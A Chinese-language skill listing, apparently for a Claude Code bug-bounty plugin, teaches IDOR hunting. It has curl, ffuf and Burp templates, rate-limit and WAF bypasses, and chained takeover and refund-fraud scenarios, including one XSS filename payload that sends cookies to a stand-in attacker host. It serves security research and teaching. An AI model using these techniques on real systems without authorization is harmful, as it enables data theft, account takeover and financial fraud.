mcpField
H
hunt-idor

hunt-idor

github.com/elementalsouls安全5.3k305 次安装今天更新
代码仓库

关于 hunt-idor

面向安全研究人员的 IDOR 漏洞测试技能,指导检查用户、组织及租户之间的对象访问控制。内容覆盖 REST 和 GraphQL 接口,并要求用双账户复现读写影响、记录具体差异。

主要功能

  1. 01梳理请求中的对象标识符
  2. 02用双账户测试跨用户访问
  3. 03覆盖 REST 与 GraphQL 操作
  4. 04检查读取、修改和删除权限
  5. 05验证跨组织与租户隔离

适用场景

  1. 01测试发票、消息等资源的访问控制
  2. 02检查跨组织 API 是否泄露数据
  3. 03验证修改或删除他人资源的权限

安装

复制下面的命令,在终端中运行。

$npx skills add https://github.com/elementalsouls/claude-bughunter --skill hunt-idor

安装后在 Claude Code 中输入/hunt-idor确认已加载。

详细介绍

高价值目标

IDOR 为何收益丰厚:

  • 无需绕过身份验证即可直接访问其他用户的数据——影响明确且可验证
  • 易于与权限提升、金融欺诈和账户接管串联
  • 几乎所有拥有用户专属资源的应用都会受到影响

价值最高的资产类型(按潜在奖金排序):

资产类型价值所在
财务文档 / 账单 API暴露 PII + 财务数据(Shopify、Uber、PayPal)
私有代码库 / 源代码知识产权盗窃、关键数据丢失(GitHub)
用户消息 / 私信大规模侵犯隐私(Reddit)
账户管理端点添加用户、删除用户、权限提升(PayPal、Mozilla)
企业 / 组织管理跨租户权限提升、员工 PII(Uber)
内容审核 / 管理操作运营破坏(Reddit mod logs)

IDOR 奖金最高的计划:

  • 采用多租户模式的平台(SaaS、B2B 工具)
  • 金融科技和支付处理商
  • 拥有私密内容的社交平台
  • 具有组织 / 代码库隔离机制的开发者工具

攻击面信号

明显存在 IDOR 的 URL 模式:

/api/v1/users/{id}/
/api/v*/orders/{order_id}
/invoices/download?id=
/reports/{uuid}/
/messages/{thread_id}
/admin/orgs/{org_id}/members
/migration/{migration_id}/files
/graphql (query params with IDs)
/api/business/{business_id}/
/vouchers/{voucher_id}/policy

响应头信号:

  • 接受原始 ID 的端点使用 Content-Type: application/json
  • 缺少 X-Frame-Options,或存在 CORS 配置错误且同时带有 ID 参数
  • Authorization: Bearer 令牌的作用域限定于用户,但访问的是组织级资源

JavaScript 源码模式:

// Look for hardcoded or interpolated IDs in JS
fetch(`/api/v1/users/${userId}/profile`)
axios.get('/invoices/' + invoiceId)
graphql query { billingDocument(id: $docId) }
// Redux/state stores exposing foreign IDs
state.currentUser.organizationId

技术栈信号:

  • GraphQL 端点(基于查询的 IDOR 经常被遗漏)
  • 使用连续整数 ID 的 REST API(最易受攻击)
  • 可预测或在其他响应中泄露的 UUID
  • 带有 org_id、account_id、business_id 参数的多租户 SaaS 应用
  • 移动应用(用 Burp 检查 APK——移动 API 经常跳过授权检查)

分步狩猎方法

  1. 映射应用中的所有对象引用

    • 以用户 A 的身份验证,浏览每项功能
    • 在 Burp Suite 中捕获所有请求
    • 筛选包含以下内容的请求:id=、_id=、uuid=、/v1/{noun}/{id},以及包含数值 / UUID 的查询参数
  2. 枚举 ID 类型

    • 连续整数 → 枚举 ±1、±100
    • UUID → 检查它们是否出现在其他响应或 JS 文件中
    • 哈希 ID → 检查它们是否泄露在公共端点、元数据或 GraphQL 自省中
  3. 创建两个权限级别相同的独立账户

    • 用户 A:资源所有者
    • 用户 B:攻击者账户
    • 以用户 A 的身份验证时,记录属于用户 A 的所有 ID
  4. 以用户 B 的身份重放用户 A 的资源 ID

    • 将会话 Cookie / 令牌替换为用户 B 的凭据
    • 发送引用用户 A 对象 ID 的相同请求
    • 测试每个端点上的所有 HTTP 方法:GET、POST、PUT、PATCH、DELETE
  5. 测试跨租户 / 跨组织场景

    • 在不同组织 / 企业中创建账户
    • 测试组织 B 的会话能否引用组织 A 的 ID
    • 特别留意管理 / 管理员端点
  6. 专门测试 GraphQL

    • 运行自省:{ __schema { queryType { fields { name } } } }
    • 对每个接受 id 参数的查询 / 变更,替换为其他用户的 ID
    • 同时测试查询(读取)和变更(写入 / 删除)
  7. 测试写入 / 破坏性操作,而不仅是读取

    • 用户 B 能否删除用户 A 的资源?
    • 用户 B 能否修改用户 A 的内容?
    • 用户 B 能否将自己添加到用户 A 的账户中?
  8. 串联多个 IDOR

    • 使用一个 IDOR 泄露的数据(组织 ID、用户 ID)为下一个 IDOR 提供线索
    • IDOR → ID 泄露 → 第二个 IDOR → 权限提升
  9. 测试状态变更边缘情况

    • 已过期但仍可接受的令牌 / 邀请
    • 针对资源 ID 的竞态条件
    • 间接引用:?sort=id 或 ?filter[user_id]=
  10. 记录具体差异

    • 确认用户 B 并无正当权限访问用户 A 的资源
    • 截图 / 记录实际的 200 OK 与预期的 403/404

负载与检测模式

使用 curl 进行基本的 IDOR 测试(替换 cookie/token):

# Get User A's resource ID while authenticated as A
curl -s -H "Cookie: session=USER_A_SESSION" \
  https://target.com/api/v1/invoices/12345

# Replay with User B's session
curl -s -H "Cookie: session=USER_B_SESSION" \
  https://target.com/api/v1/invoices/12345

# Success = 200 OK with User A's data

GraphQL IDOR 测试:

curl -s -X POST https://target.com/graphql \
  -H "Authorization: Bearer USER_B_TOKEN" \
  -H "Content-Type: application/json" \
  -d '{"query":"{ billingDocument(id: \"USER_A_DOC_ID\") { id amount pdfUrl } }"}'

使用 ffuf 枚举连续 ID:

ffuf -u "https://target.com/api/v1/orders/FUZZ" \
  -w ids.txt \
  -H "Authorization: Bearer USER_B_TOKEN" \
  -mc 200 \
  -o idor_results.json

生成连续 ID 字典:

# Generate IDs around a known value
known_id = 48291
with open("ids.txt", "w") as f:
    for i in range(known_id - 500, known_id + 500):
        f.write(str(i) + "\n")

用于 IDOR 扫描的 Burp Intruder 负载:

GET /api/messages/§12345§ HTTP/1.1
Host: target.com
Authorization: Bearer USER_B_TOKEN

# Mark §12345§ as injection point
# Use numeric sequential payload: 12000-13000
# Filter responses by length difference or status 200

使用 JavaScript 抓取泄露的 ID:

# Find IDs in JS bundles
curl -s https://target.com/static/app.js | grep -Eo '"id":"[a-f0-9-]{36}"' | sort -u

# Find object references in API responses
curl -s -H "Cookie: session=USER_A" \
  https://target.com/api/v1/dashboard | python3 -m json.tool | grep -i "_id"

源码审查的 Grep 模式:

# Missing authorization checks in common frameworks
grep -r "findById\|findOne\|getById" --include="*.js" .
grep -r "params\[:id\]\|params\['id'\]" --include="*.rb" .
grep -r "request\.args\.get\('id'\)" --include="*.py" .

# Look for direct ORM queries without user scoping
grep -r "Model\.find(params" --include="*.js" .
# vs secure pattern: Model.find({ id: params.id, userId: req.user.id })

通过篡改 HTTP 方法进行 IDOR 测试:

# Try undocumented methods
for method in GET POST PUT PATCH DELETE OPTIONS HEAD; do
  echo "=== $method ==="
  curl -s -X $method \
    -H "Authorization: Bearer USER_B_TOKEN" \
    https://target.com/api/v1/users/USER_A_ID/profile
done

常见根本原因

  1. ORM 查询中缺少所有权检查

    // VULNERABLE: fetches any record
    const invoice = await Invoice.findById(req.params.id);
    
    // SECURE: scopes to authenticated user
    const invoice = await Invoice.findOne({ _id: req.params.id, userId: req.user.id });
    
  2. 仅在路由级别进行授权,而非对象级别

    • 开发者会检查“用户是否已登录?”,但不会检查“该用户是否拥有此对象?”
    • 中间件会确认身份验证;各个处理程序则跳过所有权验证
  3. 信任客户端在请求正文中提供的 ID

    • 移动应用或 SPA 会在 POST 正文中发送 org_id;服务器直接使用该值,而不验证调用方是否属于该组织
  4. GraphQL 解析器未进行字段级授权

    • 查询解析器会按 ID 从数据库获取数据,却不检查请求用户是否有权限
    • 尤其常见于根据架构自动生成解析器的情况
  5. 不同 HTTP 方法的授权不一致

    • GET 端点受到保护;同一路径下资源对应的 POST/DELETE 端点却没有保护
    • 在由不同开发者逐步构建的 API 中很常见
  6. 通过相关对象暴露间接引用

    • 对象 A(可访问)包含对象 B 的引用(B 本应是私有的)
    • 开发者只保护对 B 的直接访问,却没有保护通过 A 进行的间接访问
  7. 竞争条件和基于状态的 IDOR

    • 仅在创建时检查授权,而不在访问时检查
    • 授予权限被撤销后,邀请/令牌仍然有效
  8. 多租户隔离失效

    • 开发者实现了按用户的访问控制,却忘记了跨组织边界
    • 存在 user_id 检查;缺少 org_id / tenant_id 检查

绕过技术

防御:使用 UUID 替代连续整数

  • 绕过方式:UUID 常会在其他 API 响应、通知邮件、webhook、GraphQL 查询或 JS 源码中泄露
  • 技术:从可访问的端点收集 UUID,再对受限端点重放请求

防御:使用间接/哈希对象引用

  • 绕过方式:解码哈希(通常是 base64 或简单混淆),或在其他响应中查找原始 ID
  • 技术:echo "dXNlcl8xMjM0NQ==" | base64 -d → user_12345

防御:为每个资源使用短时令牌

  • 绕过方式:如果服务器只验证令牌格式而不验证绑定关系,令牌有时可被不同用户重复使用
  • 技术:使用自己的令牌访问另一用户的资源 ID

防御:对枚举进行速率限制

  • 绕过方式:放慢枚举速度(1 req/5s)、使用分布式 IP,或利用非枚举型 IDOR(你已从其他泄露信息中知道目标 ID)

防御:在 WHERE 子句中检查 user_id

  • 绕过方式:检查同一端点是否存在于其他 API 版本中(/v1/ 与 /v2/)——授权逻辑通常因版本而异
  • 技术:检查 JS 包中是否调用了较旧的 API 版本

防御:CORS 限制

  • 绕过方式:IDOR 无需跨域利用——你可以直接使用自己的会话测试 API 端点

防御:通过服务器端会话使用“不透明”引用

  • 绕过方式:查找任何会返回内部 ID 的端点,然后在其他地方使用该 ID;API 常会在 Location 标头、错误消息或元数据中暴露 ID

防御:对常见模式进行参数过滤/WAF 防护

  • 绕过方式:尝试嵌套 JSON {"data": {"id": "VICTIM_ID"}}、HTTP 参数污染 ?id=own_id&id=victim_id,或不同的参数名称 user_id、userId、uid、account

Gate 0 验证

撰写报告前,请回答以下三个问题:

  1. 攻击者现在能做什么? 具体说明:“拥有有效账户的攻击者可以向 /api/v1/invoices/{victim_invoice_id} 发送 GET 请求,并收到受害者的完整账单文件,包括姓名、地址和付款金额——且与该账户毫无关联。”

  2. 受害者会失去什么? 对应 CIA 三要素:机密性(数据泄露)、完整性(数据被篡改)或可用性(数据被删除)。“受害者的私人财务记录机密性受损”或“受害者的内容被第三方删除”——含糊的回答不合格。

  3. 能否从零开始在 10 分钟内复现?

    • 创建两个全新的账户 ✓
    • 记录包含受害者 ID 的确切 HTTP 请求 ✓
    • 收到显示受害者数据的 200 OK 响应(或确认状态已更改)✓
    • 不依赖已有状态或特定时机 ✓

    如果无法稳定复现演示,请勿提交报告。


真实影响示例

场景 1:金融数据泄露 + 跨账户账单欺诈(Uber 风格) 攻击者发现了两个相关的 IDOR:一个允许读取任意组织的代金券政策配置(暴露组织 ID、员工邮箱列表和付款方式),另一个允许使用泄露的 ID 修改代金券政策。将两者串联后,攻击者便能将费用转嫁到任意企业账户、跨组织泄露员工个人身份信息(PII),并接管邀请链接——而这一切都不需要超出普通用户账户的权限。影响:金融欺诈 + 整个 B2B 平台的大规模 PII 泄露。

场景 2:通过迁移端点上的 IDOR 读取私有仓库(GitHub 风格) 迁移功能允许用户向迁移任务上传文件。系统未验证 migration_id 参数是否属于已验证用户。攻击者创建自己的迁移任务,观察 ID 格式,然后替换为其他用户的私有迁移 ID,从而读取自己无权访问的私有仓库中的源代码文件。影响:彻底绕过私有知识产权的机密性保护。

场景 3:通过消息 IDOR 串联实现账户接管(Reddit 风格) 攻击者在消息 API 端点中替换 thread_id,访问其他用户的私人消息线程。响应中包含消息内容、元数据,以及——最关键的——通过内部消息发送的会话令牌或验证令牌。攻击者利用在消息中找到的令牌执行账户恢复步骤,将只读 IDOR 升级为完全接管账户。影响:大规模完全攻陷目标用户的账户。


链式利用与组合(资深狩猎)

单独的 IDOR 若仅能跨租户读取数据,通常只会获得低到中等奖励。真正有价值的是将 IDOR 与通常不允许跨租户操作的状态更改原语串联——把“我能看到受害者的数据”变成“我拥有受害者的账户”。以下六种链式组合是在现代漏洞赏金计划中收益最高的 IDOR 利用方式。

链 1 — /api/users/{id}/email 上的 IDOR + 缺少重新验证 → 密码重置 → ATO
  • A. 确认电子邮件更改端点存在 IDOR——使用攻击者的会话发送请求 PUT /api/users/{victim_id}/email {"email":"attacker@evil"};服务器在未检查所有权的情况下更改受害者的邮箱。
  • B. 对受害者账户发起密码重置流程——服务器将重置链接发送到新邮箱(攻击者的邮箱)。
  • C. 打开重置链接,设置新密码,并以受害者身份登录。
  • 影响: 悄无声息地接管账户——受害者不会收到邮箱更改通知,因为更改是通过 API 而非用户界面中的“更改邮箱”功能完成的;后者有自己的审计日志。
  • 典型情况: 2018–2024 年间,许多 SaaS 漏洞赏金披露中都出现过这种经典 ATO 模式。交叉引用 hunt-ato 路径 2(更改邮箱时无需重新验证)。
链 2 — 文件下载上的 IDOR + 文件名可控的 Content-Disposition → 通过下载触发反射型 XSS → 会话窃取
  • A. /api/files/{id}/download 上存在 IDOR,只需提供 ID 即可获取任意用户的文件。
  • B. 下载端点设置 Content-Disposition: attachment; filename="<user-supplied-filename>",但未对换行符或引号进行清理——攻击者上传文件,文件名为 "; <script>fetch('https://attacker/x?c='+document.cookie)</script>; foo.txt。
  • C. 受害者访问下载链接 → 浏览器在响应头上下文中将注入的脚本解释为 HTML → JS 在同源环境下运行 → 窃取 Cookie/令牌。
  • 影响: 通过 IDOR + 文件名可控的响应头实现账户接管(ATO)——单独来看,这两个原语都不严重;组合起来才构成攻击链。
  • 真实案例: 已披露的多个案例涉及 Office 365 SharePoint 下载端点、GitLab 附件下载和 SaaS 导出端点。与 hunt-xss 链 1(响应头 XSS 类)组合。
链 3 — 通过 GraphQL node(id:) GID + Relay 关系遍历实现 IDOR → 跨租户大规模数据提取
  • A. 目标使用带有 Relay 风格全局 ID 的 GraphQL(gid://shopify/Customer/<n> 或 Base64 编码的 type:id 模式)。
  • B. node(id:"<victim_gid>") { ... on Customer { email orders { totalPrice paymentMethods { cardLast4 } } } }——顶层 node() 解析器会验证请求者身份,但嵌套关系不会针对已解析的 Customer 重新检查所有权。
  • C. 遍历 ID(解码 Base64 提取数字并递增),即可提取整个客户群体的电子邮件、订单总额和付款方式。
  • 影响: 大规模提取跨租户个人身份信息(PII)/财务数据。一个漏洞即可访问整个数据库。
  • 真实案例: Shopify Billing IDOR,H1 #2207248($5,000);HackerOne PolicyPageAssetGroup IDOR,H1 #1618347($25,000)。交叉引用 hunt-graphql 已披露报告引用 #5 和 #2。
链 4 — /api/teams/{id}/members 上的 IDOR + 请求体中的批量赋值 → 在受害者团队中提升角色
  • A. 标准水平越权 IDOR——POST /api/teams/{victim_team_id}/members {"email":"attacker@evil"} 可在未检查所有权的情况下将攻击者添加为普通成员。
  • B. 请求体接受 API 未过滤的其他字段:{"email":"attacker@evil", "role":"OWNER", "permissions":["*"]}——批量赋值会影响角色字段。
  • C. 攻击者以 OWNER 身份加入受害者团队。现在可以完全管理受害者团队的资源,还能移除真正的所有者。
  • 影响: 通过 IDOR + 批量赋值实现跨租户权限提升。这是 SaaS 团队管理 API 上效率最高的接管攻击链。
  • 真实案例: Shopify 未公开的 fileCopy mutation,H1 #981472(2020 年,$2,000);Stripe UpdateAtlasApplicationPerson 跨租户 mutation,H1 #1066203(2020 年)。交叉引用 hunt-graphql 已披露报告引用 #7 和 #8;与 hunt-api-misconfig 的批量赋值部分组合。
链 5 — 软删除 IDOR + 移除后令牌仍有效 → 持续跨租户访问
  • A. 找到“移除成员”端点,该端点会将 active=false,但不会使会话/PAT 失效。
  • B. 以即将被移除的用户身份登录;捕获会话 Cookie 或 PAT。
  • C. 让组织管理员通过正常流程移除该用户。等待一段时间。使用捕获的令牌重新发起 API 调用——此时 IDOR 变成了时间型(根据策略表,该用户已无权限,但缓存的身份验证上下文仍能通过验证)。
  • 影响: 离职后数周仍可跨租户访问;存在 GDPR/CCPA 违规风险;还可能被用于勒索。
  • 真实案例: Shopify 已移除员工仍可持续访问的漏洞类型(2022 年)。交叉引用 hunt-misc 链 1——根本原因相同,起始原语不同。
链 6 — 双重 IDOR(/users/{id}/orders → /orders/{order_id}/refund)→ 对受害商家造成经济损失
  • A. 第一个 IDOR:GET /api/users/{victim_id}/orders 在未检查所有权的情况下返回受害者的订单列表,从而获得合法的 order_id 值。
  • B. 第二个 IDOR:POST /api/orders/{order_id}/refund 在未检查请求者是否拥有该商家或订单的情况下发起退款。
  • C. 对受害商家的每笔近期订单触发退款。资金从商家转到客户(该客户也由攻击者控制)。
  • 影响: 受害商家遭受直接经济损失。可在平台的商家群体中大规模利用。
  • 真实案例类型: 2019-2023 年披露的多个电子商务平台 IDOR 链。交叉参考 hunt-business-logic 的链(通过状态机混淆造成经济损失)。
操作者层面的模式

确认 A 处存在读取型 IDOR 后,立即询问:是否有状态变更操作接受相同的 ID,并且也可能存在 IDOR? 这类链通常属于以下之一:(1) 在末端步骤进行密码重置/电子邮件更改 → ATO;(2) 退款/提现/转账 → 经济损失;(3) 角色更改/添加成员 → 权限提升。如果你的读取型 IDOR 无法与上述任一情况串联,那么你能获得的就只有单独发现该漏洞的收益。要同时寻找这两部分——第二部分通常更容易发现,因为它与第一部分具有相同的身份验证漏洞类型。

交叉参考:

  • hunt-ato — 链 1、5
  • hunt-xss — 链 2
  • hunt-graphql — 链 3、4
  • hunt-misc — 链 5
  • hunt-business-logic — 链 6

相关技能与链

  • hunt-auth-bypass — 对象级授权失败与路由级缺少身份验证,是典型的 IDOR 放大器。链式原语:ORM 查询中缺少 req.user.id 范围限定,加上旧版 /v1/ 路由缺少中间件,导致未经身份验证的跨租户数据读取;只需直接替换 ID,即可在完全没有会话的情况下批量导出个人身份信息。
  • hunt-ato — 个人资料编辑 IDOR 是从“读取他人数据”到“控制其账户”最直接的路径。链式原语:PATCH /api/users/{victim_uid} 接受攻击者的会话和受害者 UID → 设置 [email protected] → 触发密码重置 → 重置链接发送给攻击者 → 无需知晓受害者凭据即可完全 ATO。
  • hunt-graphql — 缺少字段级授权的 GraphQL 解析器默认存在 IDOR;内省会提供架构信息。链式原语:通过 __schema 内省 → 枚举所有接受 id: 参数的变更操作 → 在 updateUser、deleteOrg、transferBilling 变更操作中替换为受害者 ID → 通过一次内省查询大规模扩展 IDOR 攻击范围。
  • security-arsenal — 查阅 IDOR 绕过表部分,获取 HTTP 参数污染载荷(?id=own&id=victim)、嵌套 JSON 包装({"data":{"id":"VICTIM"}})以及参数名称变体(uid/userId/user_id/account),适用于首次直接替换返回 403 的情况。
  • triage-validation — 在认定返回 200、但实际上未泄露数据的 IDOR 为 Critical 之前,先运行严重性预检(Pre-Severity Gate)(例如返回空数组、字段已脱敏,或响应正文中为“access denied”但状态码为 200)。返回 200 但没有数据的 IDOR 是 H1/Bugcrowd 上最常见的 N/A 原因。

评论

支持 Markdown